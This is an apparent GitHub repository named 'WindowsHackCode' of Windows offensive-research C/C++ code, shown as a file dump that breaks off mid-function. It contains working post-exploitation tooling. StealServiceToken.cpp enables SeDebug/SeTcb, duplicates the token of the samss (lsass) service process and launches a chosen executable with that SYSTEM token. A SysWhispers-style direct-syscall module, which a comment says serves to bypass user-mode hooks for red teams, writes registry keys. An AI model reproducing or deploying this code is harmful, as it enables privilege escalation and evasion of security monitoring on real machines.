├── Privilege&Token ├── SetPrivilege.cpp └── StealServiceToken.cpp ├── Process └── GetPid │ ├── GetFilePid.cpp │ └── GetServicePid.cpp ├── README.md └── Reg ├── RegSyscall ├── reg.sln └── reg │ ├── reg.cpp │ ├── reg.vcxproj │ ├── reg.vcxproj.filters │ ├── reg.vcxproj.user │ ├── sycall-asm.x64.asm │ ├── sycall.c │ └── sycall.h └── reg.cpp /Privilege&Token/SetPrivilege.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define UNLEN 256 4 | 5 | using namespace std; 6 | 7 | /* 8 | *设置进程权限 9 | *setPrivilege( 10 | * HANDLE hToken 目标进程句柄 , 11 | * LPCWSTR name 设置的进程权限名 12 | * return BOOL TRUE成功/FALSE失败 13 | *) 14 | */ 15 | BOOL setPrivilege(HANDLE hToken, LPCWSTR name) { 16 | TOKEN_PRIVILEGES tp; 17 | LUID luid; 18 | 19 | 20 | if (!LookupPrivilegeValue(NULL, name, &luid)) { 21 | cout << "privilege error:" << GetLastError() << endl; 22 | return FALSE; 23 | } 24 | tp.PrivilegeCount = 1; 25 | tp.Privileges[0].Luid = luid; 26 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 27 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { 28 | cout << "adjustprivileges error:" << GetLastError() << endl; 29 | return FALSE; 30 | } 31 | return TRUE; 32 | } -------------------------------------------------------------------------------- /Privilege&Token/StealServiceToken.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #define UNLEN 256 6 | 7 | using namespace std; 8 | /* 9 | *通过服务名获取PID 10 | *GetServicePid( 11 | * LPCWSTR ServiceName 具体的服务名 12 | *) 13 | */ 14 | 15 | DWORD GetServicePid(LPCWSTR ServiceName) 16 | { 17 | const SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); 18 | if (nullptr == controlManagerHandle) 19 | throw runtime_error("Connecting to Service Control Manager failed"); 20 | 21 | const SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName, SERVICE_QUERY_STATUS); 22 | CloseServiceHandle(controlManagerHandle); 23 | if (nullptr == serviceHandle) 24 | throw runtime_error("Opening service handle failed"); 25 | 26 | SERVICE_STATUS_PROCESS procInfo; 27 | DWORD bytesNeeded; 28 | if (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) 29 | { 30 | CloseServiceHandle(serviceHandle); 31 | throw runtime_error("Querying service status failed"); 32 | } 33 | 34 | CloseServiceHandle(serviceHandle); 35 | return procInfo.dwProcessId; 36 | } 37 | 38 | /* 39 | *设置进程权限 40 | *setPrivilege( 41 | * HANDLE hToken 目标进程句柄 , 42 | * LPCWSTR name 设置的进程权限名 43 | *) 44 | */ 45 | BOOL setPrivilege(HANDLE hToken, LPCWSTR name) { 46 | TOKEN_PRIVILEGES tp; 47 | LUID luid; 48 | 49 | 50 | if (!LookupPrivilegeValue(NULL, name, &luid)) { 51 | cout << "privilege error:" << GetLastError() << endl; 52 | return FALSE; 53 | } 54 | tp.PrivilegeCount = 1; 55 | tp.Privileges[0].Luid = luid; 56 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 57 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { 58 | cout << "adjustprivileges error:" << GetLastError() << endl; 59 | return FALSE; 60 | } 61 | return TRUE; 62 | } 63 | 64 | /* 65 | *以Handle的令牌权限执行命令 66 | *GetLocalSystem( 67 | * HANDLE hSystemToken 伪装权限的进程句柄, 68 | * LPCWSTR cmdName 以令牌权限执行的具体命令,如果为NULL,则创建当前进程 69 | *) 70 | */ 71 | BOOL GetLocalSystem(HANDLE hSystemToken,LPCWSTR cmdName) 72 | { 73 | BOOL bResult = FALSE; 74 | 75 | HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE; 76 | 77 | DWORD dwCreationFlags = 0; 78 | LPWSTR pwszCurrentDirectory = NULL; 79 | LPVOID lpEnvironment = NULL; 80 | PROCESS_INFORMATION pi = { 0 }; 81 | STARTUPINFO si = { 0 }; 82 | 83 | BOOL g_bInteractWithConsole = FALSE; 84 | //如果为空就以目标进程权限打开当前进程 85 | if (cmdName == NULL) { 86 | GetModuleFileNameW(NULL, (LPWSTR)cmdName, UNLEN); 87 | } 88 | 89 | if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup)) 90 | { 91 | wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError()); 92 | goto cleanup; 93 | } 94 | 95 | 96 | 97 | dwCreationFlags = CREATE_UNICODE_ENVIRONMENT; 98 | dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE; 99 | 100 | if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)))) 101 | goto cleanup; 102 | 103 | if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH)) 104 | { 105 | wprintf(L"GetSystemDirectory() failed. Error: %d\n", GetLastError()); 106 | goto cleanup; 107 | } 108 | 109 | if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE)) 110 | { 111 | wprintf(L"CreateEnvironmentBlock() failed. Error: %d\n", GetLastError()); 112 | goto cleanup; 113 | } 114 | 115 | ZeroMemory(&si, sizeof(STARTUPINFO)); 116 | si.cb = sizeof(STARTUPINFO); 117 | si.lpDesktop = const_cast(L"WinSta0\\Default"); 118 | 119 | 120 | if (!g_bInteractWithConsole) 121 | { 122 | if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, (LPWSTR)cmdName, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi)) 123 | { 124 | wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError()); 125 | goto cleanup; 126 | } 127 | else 128 | { 129 | wprintf(L"[+] CreateProcessWithTokenW() OK\n"); 130 | } 131 | } 132 | else 133 | { 134 | wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n"); 135 | goto cleanup; 136 | } 137 | 138 | 139 | if (g_bInteractWithConsole) 140 | { 141 | fflush(stdout); 142 | WaitForSingleObject(pi.hProcess, INFINITE); 143 | } 144 | 145 | bResult = TRUE; 146 | 147 | cleanup: 148 | if (hSystemToken) 149 | CloseHandle(hSystemToken); 150 | if (hSystemTokenDup) 151 | CloseHandle(hSystemTokenDup); 152 | if (pwszCurrentDirectory) 153 | free(pwszCurrentDirectory); 154 | if (lpEnvironment) 155 | DestroyEnvironmentBlock(lpEnvironment); 156 | if (pi.hProcess) 157 | CloseHandle(pi.hProcess); 158 | if (pi.hThread) 159 | CloseHandle(pi.hThread); 160 | 161 | return bResult; 162 | } 163 | /* 164 | *根据服务名创建服务进程权限执行命令 165 | *getSystem( 166 | * LPCWSTR processName 具体服务名字,lsass进程是samss服务, 167 | * LPCWSTR cmdLine 以服务权限执行的命令,如果为空,则执行当前进程 168 | * 169 | *) 170 | * 171 | */ 172 | 173 | 174 | void getSystem(LPCWSTR processName, LPCWSTR cmdLine) { 175 | HANDLE tokenHandle = NULL; 176 | HANDLE currentTokenHandle = NULL; 177 | BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); 178 | setPrivilege(currentTokenHandle, SE_TCB_NAME); 179 | setPrivilege(currentTokenHandle, SE_DEBUG_NAME); 180 | 181 | HANDLE test = OpenProcess(PROCESS_QUERY_INFORMATION, true, GetServicePid(processName)); 182 | if (GetLastError() == NULL) { 183 | cout << "ok" << endl; 184 | } 185 | else { 186 | cout << "openProcess return Code:" << test << endl; 187 | cout << "openProcess Error:" << GetLastError() << endl; 188 | } 189 | BOOL getToken = OpenProcessToken(test, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle); 190 | //BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); 191 | 192 | 193 | if (GetLastError() == NULL) { 194 | cout << "winlogon Impersonate ok " << endl; 195 | } 196 | else { 197 | cout << "something impeersonate error" << GetLastError() << endl; 198 | } 199 | GetLocalSystem(tokenHandle,cmdLine); 200 | } 201 | 202 | 203 | int main() { 204 | getSystem(L"samss", L"C://a.exe"); 205 | } -------------------------------------------------------------------------------- /Process/GetPid/GetFilePid.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #define UNLEN 256 6 | 7 | using namespace std; 8 | /* 9 | * 通过文件路径来获取进程pid 10 | *GetPidUsingFilePath( 11 | * LPCWSTR processBinaryPath具体进程路径 12 | *) return DWORD PID 返回进程pid 13 | */ 14 | 15 | DWORD GetPidUsingFilePath(LPCWSTR processBinaryPath) { 16 | DWORD retPid = 0; 17 | IO_STATUS_BLOCK iosb; 18 | HANDLE hFile; 19 | PFILE_PROCESS_IDS_USING_FILE_INFORMATION pfpiufi = NULL; 20 | int FileProcessIdsUsingFileInformation = 47; 21 | ULONG pfpiufiLen = 0; 22 | PULONG_PTR processIdListPtr = NULL; 23 | NTSTATUS status = 0; 24 | pNtQueryInformationFile NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationFile"); 25 | hFile = CreateFile(processBinaryPath, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); 26 | if (hFile != INVALID_HANDLE_VALUE) 27 | { 28 | pfpiufiLen = 8192; 29 | pfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufiLen); 30 | status = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation); 31 | while (status == STATUS_INFO_LENGTH_MISMATCH) { 32 | pfpiufiLen = pfpiufiLen + 8192; 33 | pfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufi, pfpiufiLen); 34 | status = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation); 35 | } 36 | processIdListPtr = pfpiufi->ProcessIdList; 37 | // we return only the first pid, it's usually the right one 38 | if (pfpiufi->NumberOfProcessIdsInList >= 1) 39 | retPid = *processIdListPtr; 40 | HeapFree(GetProcessHeap(), 0, pfpiufi); 41 | CloseHandle(hFile); 42 | } 43 | return retPid; 44 | } -------------------------------------------------------------------------------- /Process/GetPid/GetServicePid.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define UNLEN 256 5 | 6 | using namespace std; 7 | 8 | 9 | 10 | /* 11 | *通过服务名获取PID 12 | *GetServicePid( 13 | * LPCWSTR ServiceName 具体的服务名 14 | *) return DWORD PID 返回进程pid 15 | */ 16 | 17 | DWORD GetServicePid(LPCWSTR ServiceName) 18 | { 19 | const SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); 20 | if (nullptr == controlManagerHandle) 21 | throw runtime_error("Connecting to Service Control Manager failed"); 22 | 23 | const SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName, SERVICE_QUERY_STATUS); 24 | CloseServiceHandle(controlManagerHandle); 25 | if (nullptr == serviceHandle) 26 | throw runtime_error("Opening service handle failed"); 27 | 28 | SERVICE_STATUS_PROCESS procInfo; 29 | DWORD bytesNeeded; 30 | if (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) 31 | { 32 | CloseServiceHandle(serviceHandle); 33 | throw runtime_error("Querying service status failed"); 34 | } 35 | 36 | CloseServiceHandle(serviceHandle); 37 | return procInfo.dwProcessId; 38 | } 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WindowsHackCode 2 | 3 | 这个一个与windows对抗研究相关的代码库,其中将会包含一些基础的代码。 4 | 5 | ## 注册表 6 | 7 | * [基础的注册表创建与修改](https://github.com/knightswd/WindowsHackCode/blob/main/Reg/reg.cpp) 8 | 9 | * [通过系统调用进行注册表修改](https://github.com/knightswd/WindowsHackCode/blob/main/Reg/RegSyscall/reg/reg.cpp) 10 | 11 | ## 进程 12 | 13 | ### 获取进程pid 14 | 15 | * [通过进程可执行文件路径获取PID](https://github.com/knightswd/WindowsHackCode/blob/main/Process/GetPid/GetFilePid.cpp) 16 | 17 | * [通过服务名获取PID](https://github.com/knightswd/WindowsHackCode/blob/main/Process/GetPid/GetServicePid.cpp) 18 | 19 | 20 | ### 创建进程 21 | 22 | ## 权限和令牌 23 | 24 | * [设置进程权限](https://github.com/knightswd/WindowsHackCode/blob/main/Privilege%26Token/SetPrivilege.cpp) 25 | 26 | * [获取其他用户的进程句柄权限并创建相应权限进程](https://github.com/knightswd/WindowsHackCode/blob/main/Privilege%26Token/StealServiceToken.cpp) 27 | 28 | ## 内存 29 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32228.343 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reg", "reg\reg.vcxproj", "{55EEF419-E210-47A4-A851-FE6923AA6AF0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Debug|x64.ActiveCfg = Debug|x64 17 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Debug|x64.Build.0 = Debug|x64 18 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Debug|x86.ActiveCfg = Debug|Win32 19 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Debug|x86.Build.0 = Debug|Win32 20 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Release|x64.ActiveCfg = Release|x64 21 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Release|x64.Build.0 = Release|x64 22 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Release|x86.ActiveCfg = Release|Win32 23 | {55EEF419-E210-47A4-A851-FE6923AA6AF0}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8FDD12A7-68E2-493F-BCCF-63512C5C7480} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/reg.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "sycall.h" 3 | #include 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | int main() 9 | { 10 | HANDLE createdKey = nullptr; 11 | UNICODE_STRING newKeyName; 12 | OBJECT_ATTRIBUTES attributes; 13 | WCHAR name[] = L"\\REGISTRY\\Users\\S-1-5-21-1644813252-2960985308-3220584533-1000\\SOFTWARE"; 14 | NTSTATUS opStatus = NULL; 15 | ULONG keyDispositionValue = NULL; 16 | newKeyName.Buffer = name; 17 | newKeyName.Length = sizeof(name) - sizeof(WCHAR); 18 | newKeyName.MaximumLength = wcslen(name); 19 | InitializeObjectAttributes(&attributes, &newKeyName, 0x00000040L, NULL, NULL); 20 | opStatus = NtCreateKey(&createdKey, KEY_ALL_ACCESS, &attributes, 0, NULL, REG_OPTION_NON_VOLATILE, &keyDispositionValue); 21 | cout << GetLastError() << endl; 22 | if (opStatus!=0) { 23 | if (keyDispositionValue == REG_CREATED_NEW_KEY) 24 | cout << "New key created!\n"; 25 | else if (keyDispositionValue == REG_OPENED_EXISTING_KEY) 26 | cout << "Key already exists!\n"; 27 | if (!CloseHandle(createdKey)) 28 | cout << "Error closing handle!"; 29 | } 30 | 31 | } -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/reg.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {55eef419-e210-47a4-a851-fe6923aa6af0} 25 | reg 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | NotSet 47 | Static 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | true 83 | 84 | 85 | false 86 | 87 | 88 | 89 | Level3 90 | true 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | Level3 102 | true 103 | true 104 | true 105 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | true 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | false 121 | 122 | 123 | Console 124 | true 125 | Advapi32.lib;%(AdditionalDependencies) 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | 137 | 138 | Console 139 | true 140 | true 141 | true 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | Document 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/reg.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 26 | 27 | 头文件 28 | 29 | 30 | 31 | 32 | 源文件 33 | 34 | 35 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/reg.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/sycall-asm.x64.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EXTERN SW3_GetSyscallNumber: PROC 4 | 5 | NtSetValueKey PROC 6 | mov [rsp +8], rcx ; Save registers. 7 | mov [rsp+16], rdx 8 | mov [rsp+24], r8 9 | mov [rsp+32], r9 10 | sub rsp, 28h 11 | mov ecx, 00A5B0FC6h ; Load function hash into ECX. 12 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 13 | add rsp, 28h 14 | mov rcx, [rsp+8] ; Restore registers. 15 | mov rdx, [rsp+16] 16 | mov r8, [rsp+24] 17 | mov r9, [rsp+32] 18 | mov r10, rcx 19 | syscall ; Invoke system call. 20 | ret 21 | NtSetValueKey ENDP 22 | 23 | NtCreateKey PROC 24 | mov [rsp +8], rcx ; Save registers. 25 | mov [rsp+16], rdx 26 | mov [rsp+24], r8 27 | mov [rsp+32], r9 28 | sub rsp, 28h 29 | mov ecx, 02F90182Eh ; Load function hash into ECX. 30 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 31 | add rsp, 28h 32 | mov rcx, [rsp+8] ; Restore registers. 33 | mov rdx, [rsp+16] 34 | mov r8, [rsp+24] 35 | mov r9, [rsp+32] 36 | mov r10, rcx 37 | syscall ; Invoke system call. 38 | ret 39 | NtCreateKey ENDP 40 | 41 | end -------------------------------------------------------------------------------- /Reg/RegSyscall/reg/sycall.c: -------------------------------------------------------------------------------- 1 | #include "sycall.h" 2 | #include 3 | 4 | //#define DEBUG 5 | 6 | // JUMPER 7 | 8 | #ifdef _M_IX86 9 | 10 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { 11 | return (PVOID)__readfsdword(0xC0); 12 | } 13 | 14 | __declspec(naked) BOOL local_is_wow64(void) 15 | { 16 | __asm { 17 | mov eax, fs:[0xc0] 18 | test eax, eax 19 | jne wow64 20 | mov eax, 0 21 | ret 22 | wow64: 23 | mov eax, 1 24 | ret 25 | } 26 | } 27 | 28 | 29 | #endif 30 | 31 | // Code below is adapted from @modexpblog. Read linked article for more details. 32 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 33 | 34 | SW3_SYSCALL_LIST SW3_SyscallList; 35 | 36 | // SEARCH_AND_REPLACE 37 | #ifdef SEARCH_AND_REPLACE 38 | // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release 39 | EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); 40 | #endif 41 | 42 | DWORD SW3_HashSyscall(PCSTR FunctionName) 43 | { 44 | DWORD i = 0; 45 | DWORD Hash = SW3_SEED; 46 | 47 | while (FunctionName[i]) 48 | { 49 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 50 | Hash ^= PartialName + SW3_ROR8(Hash); 51 | } 52 | 53 | return Hash; 54 | } 55 | 56 | #ifndef JUMPER 57 | PVOID SC_Address(PVOID NtApiAddress) 58 | { 59 | return NULL; 60 | } 61 | #else 62 | PVOID SC_Address(PVOID NtApiAddress) 63 | { 64 | DWORD searchLimit = 512; 65 | PVOID SyscallAddress; 66 | 67 | #ifdef _WIN64 68 | // If the process is 64-bit on a 64-bit OS, we need to search for syscall 69 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 70 | ULONG distance_to_syscall = 0x12; 71 | #else 72 | // If the process is 32-bit on a 32-bit OS, we need to search for sysenter 73 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 74 | ULONG distance_to_syscall = 0x0f; 75 | #endif 76 | 77 | #ifdef _M_IX86 78 | // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved 79 | if (local_is_wow64()) 80 | { 81 | #ifdef DEBUG 82 | printf("[+] Running 32-bit app on x64 (WOW64)\n"); 83 | #endif 84 | return NULL; 85 | } 86 | #endif 87 | 88 | // we don't really care if there is a 'jmp' between 89 | // NtApiAddress and the 'syscall; ret' instructions 90 | SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); 91 | 92 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 93 | { 94 | // we can use the original code for this system call :) 95 | #if defined(DEBUG) 96 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 97 | #endif 98 | return SyscallAddress; 99 | } 100 | 101 | // the 'syscall; ret' intructions have not been found, 102 | // we will try to use one near it, similarly to HalosGate 103 | 104 | for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) 105 | { 106 | // let's try with an Nt* API below our syscall 107 | SyscallAddress = SW3_RVA2VA( 108 | PVOID, 109 | NtApiAddress, 110 | distance_to_syscall + num_jumps * 0x20); 111 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 112 | { 113 | #if defined(DEBUG) 114 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 115 | #endif 116 | return SyscallAddress; 117 | } 118 | 119 | // let's try with an Nt* API above our syscall 120 | SyscallAddress = SW3_RVA2VA( 121 | PVOID, 122 | NtApiAddress, 123 | distance_to_syscall - num_jumps * 0x20); 124 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 125 | { 126 | #if defined(DEBUG) 127 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 128 | #endif 129 | return SyscallAddress; 130 | } 131 | } 132 | 133 | #ifdef DEBUG 134 | printf("Syscall Opcodes not found!\n"); 135 | #endif 136 | 137 | return NULL; 138 | } 139 | #endif 140 | 141 | 142 | BOOL SW3_PopulateSyscallList() 143 | { 144 | // Return early if the list is already populated. 145 | if (SW3_SyscallList.Count) return TRUE; 146 | 147 | #ifdef _WIN64 148 | PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); 149 | #else 150 | PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); 151 | #endif 152 | PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; 153 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 154 | PVOID DllBase = NULL; 155 | 156 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 157 | // in the list, so it's safer to loop through the full list and find it. 158 | PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; 159 | for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 160 | { 161 | DllBase = LdrEntry->DllBase; 162 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 163 | PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 164 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 165 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 166 | if (VirtualAddress == 0) continue; 167 | 168 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 169 | 170 | // If this is NTDLL.dll, exit loop. 171 | PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 172 | 173 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 174 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 175 | } 176 | 177 | if (!ExportDirectory) return FALSE; 178 | 179 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 180 | PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 181 | PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 182 | PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 183 | 184 | // Populate SW3_SyscallList with unsorted Zw* entries. 185 | DWORD i = 0; 186 | PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; 187 | do 188 | { 189 | PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 190 | 191 | // Is this a system call? 192 | if (*(USHORT*)FunctionName == 0x775a) 193 | { 194 | Entries[i].Hash = SW3_HashSyscall(FunctionName); 195 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 196 | Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); 197 | 198 | i++; 199 | if (i == SW3_MAX_ENTRIES) break; 200 | } 201 | } while (--NumberOfNames); 202 | 203 | // Save total number of system calls found. 204 | SW3_SyscallList.Count = i; 205 | 206 | // Sort the list by address in ascending order. 207 | for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) 208 | { 209 | for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) 210 | { 211 | if (Entries[j].Address > Entries[j + 1].Address) 212 | { 213 | // Swap entries. 214 | SW3_SYSCALL_ENTRY TempEntry; 215 | 216 | TempEntry.Hash = Entries[j].Hash; 217 | TempEntry.Address = Entries[j].Address; 218 | TempEntry.SyscallAddress = Entries[j].SyscallAddress; 219 | 220 | Entries[j].Hash = Entries[j + 1].Hash; 221 | Entries[j].Address = Entries[j + 1].Address; 222 | Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; 223 | 224 | Entries[j + 1].Hash = TempEntry.Hash; 225 | Entries[j + 1].Address = TempEntry.Address; 226 | Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; 227 | } 228 | } 229 | } 230 | 231 | return TRUE; 232 | } 233 | 234 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 235 | { 236 | // Ensure 